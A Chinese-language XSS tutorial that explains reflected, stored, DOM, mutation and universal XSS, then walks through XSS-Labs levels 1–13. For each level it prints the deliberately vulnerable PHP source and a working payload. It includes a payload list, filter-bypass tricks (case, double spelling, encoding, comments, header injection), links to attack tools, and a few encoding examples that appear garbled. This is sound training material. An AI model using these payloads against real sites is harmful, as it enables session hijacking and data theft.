目录
1.漏洞原理
原理:
分类:
1. 反射型 XSS(Non-Persistent XSS)
2. 存储型 XSS(Persistent XSS)
3. DOM 型 XSS
4. 突变型 XSS(mXSS,Mutation XSS)
5. 通用型 XSS(UXSS,Universal XSS)
2.限制绕过
常见 XSS Payload 示例:
绕过方式:
标签闭合绕过
双写半开括号
反引号编码绕过
HTML 注释闭合绕过
回车换行绕过
编码绕过
3.XSS 自动化工具
Xwaf(WAF 绕过测试工具)
XSStrike(XSS 自动化攻击工具)
Fuzzing 测试
4.靶场通关
XSS-Labs 下载地址
Level 1: 基础 XSS 注入
观察源码
攻击 Payload
编辑
总结
Level 2: HTML 实体转义
观察源码
攻击 Payload
编辑
总结
Level 3: onfocus 事件绕过
观察源码
攻击 Payload
编辑
总结
Level 4: 继续利用 onfocus 绕过
观察源码
攻击 Payload
编辑
总结
Level 5: 过滤 onfocus 事件
观察源码
攻击 Payload
编辑
总结
Level 6: 大小写绕过
观察源码
攻击 Payload
总结
Level 7: 双拼写绕过
观察源码
攻击 Payload
总结
Level 8: Href 属性自动解析 Unicode 编码
观察源码
攻击 Payload
总结
Level 9: 注释绕过 http:// 过滤
观察源码
攻击 Payload
总结
Level 10: 隐藏 input 标签绕过
观察源码
攻击 Payload
总结
Level 11: HTTP Referer 头传参
观察源码
攻击 Payload
总结
Level 12: User-Agent 头传参
观察源码
攻击 Payload
总结
Level 13: Cookie 头传参
观察源码
攻击 Payload
总结
1.漏洞原理
原理:
XSS(Cross Site Scripting,跨站脚本)是一种代码注入漏洞,攻击者通过在网页中插入恶意 JavaScript 代码,使代码在其他用户的浏览器中执行,从而达到窃取用户信息、劫持会话等攻击目的。
XSS 的本质是由于网站未对用户输入的数据进行严格的安全过滤,导致恶意代码能够在页面中执行。
分类:
1. 反射型 XSS(Non-Persistent XSS)
- 恶意代码一般存放于链接当中,攻击者诱骗用户点击后,服务器返回带有 XSS 代码的数据,浏览器解析后执行。
- 常见注入点:搜索框、登录入口、表单提交等。
- 主要用于窃取 Cookie 或进行钓鱼攻击。
2. 存储型 XSS(Persistent XSS)
- 恶意代码存储在服务器数据库或文件中,具有持久性。
- 常见于论坛、博客、留言板等交互功能。
- 影响范围广,所有访问被注入页面的用户都会受到攻击。
3. DOM 型 XSS
- 发生在前端 JavaScript 解析阶段,与服务器交互无关。
- 通过修改页面的 DOM 结构,注入恶意代码。
- 常见注入点:动态生成 HTML 内容的 JavaScript 代码。
4. 突变型 XSS(mXSS,Mutation XSS)
- 由于浏览器的 HTML 解析机制,导致原本安全的代码在渲染后变成 XSS 攻击代码。
- 典型场景:富文本编辑器、动态属性修改等。
5. 通用型 XSS(UXSS,Universal XSS)
- 通过利用浏览器或浏览器扩展的漏洞,突破同源策略,执行恶意代码。
- 影响范围更广,攻击者可以在多个网站上利用此漏洞。
2.限制绕过
常见 XSS Payload 示例:
1. <script>
标签
<script>alert(1)</script>
2. <img>
标签
<img src=javascript:alert("xss")>
<img src=x onerror=alert(1)>
3. <a>
标签
<a href="javascript:alert('xss')">点击</a>
4. <input>
标签
<input value="" onclick=alert('xss') type="text">
5. <form>
标签
<form action=javascript:alert('xss')>
6. <iframe>
标签
<iframe src=javascript:alert('xss')></iframe>
7. <svg>
标签
<svg onload=alert(1)>
绕过方式:
-
标签闭合绕过
"> <script>alert(1)</script>
-
双写半开括号
<<script>alert(1)</script>
-
反引号编码绕过
<script>setTimeout`alert(1)`</script>
-
HTML 注释闭合绕过
<!-- --!><script>alert(1)</script>
-
回车换行绕过
%0D%0A<script>alert(1)</script>
-
编码绕过
- URL 编码:
%3Cscript%3Ealert(1)%3C/script%3E
- Unicode 编码:
\u003Cscript\u003Ealert(1)\u003C/script\u003E
- HTML 实体编码:
<script>alert(1)</script>
- URL 编码:
3.XSS 自动化工具
-
Xwaf(WAF 绕过测试工具)
- GitHub 地址:github.com/3xp10it/xwaf
-
XSStrike(XSS 自动化攻击工具)
- GitHub 地址:github.com/s0md3v/XSStrike
-
Fuzzing 测试
- 在线生成 Fuzzing 字典:xssfuzzer.com
- Fuzzing 字典:github.com/TheKingOfDuck/fuzzDicts
4.靶场通关
XSS-Labs 下载地址
https://github.com/do0dl3/xss-labs
Level 1: 基础 XSS 注入
观察源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
在查看源码后,发现 GET
传参 name
的值会被插入 HTML 代码中,并且未进行任何过滤。
攻击 Payload
url?name=<script>alert()</script>
总结
alert()
作为基础 XSS 测试手段。- 直接插入
<script>
标签即可执行 XSS。
Level 2: HTML 实体转义
观察源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
- 第一处
name
参数会进行 HTML 实体转义,但第二处没有。 - 需要闭合
"
以跳出属性值,插入 JS 代码。
攻击 Payload
"> <script>alert()</script> <"
总结
- 通过
"
闭合绕过 HTML 实体转义。 - 观察哪些地方未被转义,寻找突破口。
Level 3: onfocus 事件绕过
观察源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
- 过滤了
<script>
标签,并且进行了 HTML 实体转义。 - 但
onfocus
事件可以触发 JS 代码。
攻击 Payload
' onfocus=javascript:alert() '
总结
onfocus
事件可以用来执行 JS。- 适用于
<input>
等可以获取焦点的标签。
Level 4: 继续利用 onfocus 绕过
观察源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
- 仍然是
input
标签,且<script>
被过滤。 - 但是
<input>
仍然支持onfocus
事件。
攻击 Payload
" onfocus=javascript:alert() "
总结
onfocus
依旧适用。- HTML 过滤并不完善,可继续利用事件属性。
Level 5: 过滤 onfocus 事件
观察源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
onfocus
被替换成o_nfocus
。- 过滤了
<script>
、onfocus
,但<a>
标签仍然可用。
攻击 Payload
"> <a href=javascript:alert()>xxx</a> <"
总结
- 可以利用
<a>
标签的href
执行 JS 代码。 - 需要确保
"
号未被过滤,否则需额外绕过。
Level 6: 大小写绕过
观察源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
str_replace()
过滤了常见 XSS 关键字,但未进行大小写转换。
攻击 Payload
"> <sCript>alert()</sCript> <"
总结
str_replace()
直接替换,但未考虑大小写,可用大小写绕过。
Level 7: 双拼写绕过
观察源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
- 过滤了
script
,onfocus
等,并强制小写转换。
攻击 Payload
"> <a hrehreff=javasscriptcript:alert()>x</a> <"
总结
- 通过双拼写绕过关键字删除。
- 适用于
str_replace()
进行删除的情况。
Level 8: Href 属性自动解析 Unicode 编码
观察源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?phpecho '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
- 过滤了
<script>
、onfocus
、href
,但href
仍然解析 Unicode 编码。
攻击 Payload
javascript:alert()
总结
href
会自动解析 Unicode 编码。- 适用于无法直接插入
javascript:
的情况。
Level 9: 注释绕过 http:// 过滤
观察源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
- 需要
http://
才能通过strpos()
检测。
攻击 Payload
javascript:alert()/* http:// */
总结
- 先插入
http://
绕过检测,再用/* */
注释掉。
Level 10: 隐藏 input 标签绕过
观察源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
GET
传参t_sort
可以绕过,但<input>
被隐藏。
攻击 Payload
?t_sort=" onfocus=javascript:alert() type="text
总结
type="text"
使隐藏的<input>
可见,从而触发事件。
Level 11: HTTP Referer 头传参
观察源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
- 需要修改
Referer
头传递 XSS 代码。
攻击 Payload
Referer: " onfocus=javascript:alert() type="text
总结
- HTTP 头可用于传递 XSS 代码,如
Referer
。
Level 12: User-Agent 头传参
观察源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
- 需要修改
User-Agent
头传递 XSS 代码。
攻击 Payload
User-Agent: " onfocus=javascript:alert() type="text
总结
User-Agent
头也可以用于 XSS 代码注入。
Level 13: Cookie 头传参
观察源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
- 需要修改
Cookie
头传递 XSS 代码。
攻击 Payload
Cookie: user=" onclick=alert() type="text
总结
Cookie
头可以传递 XSS 代码。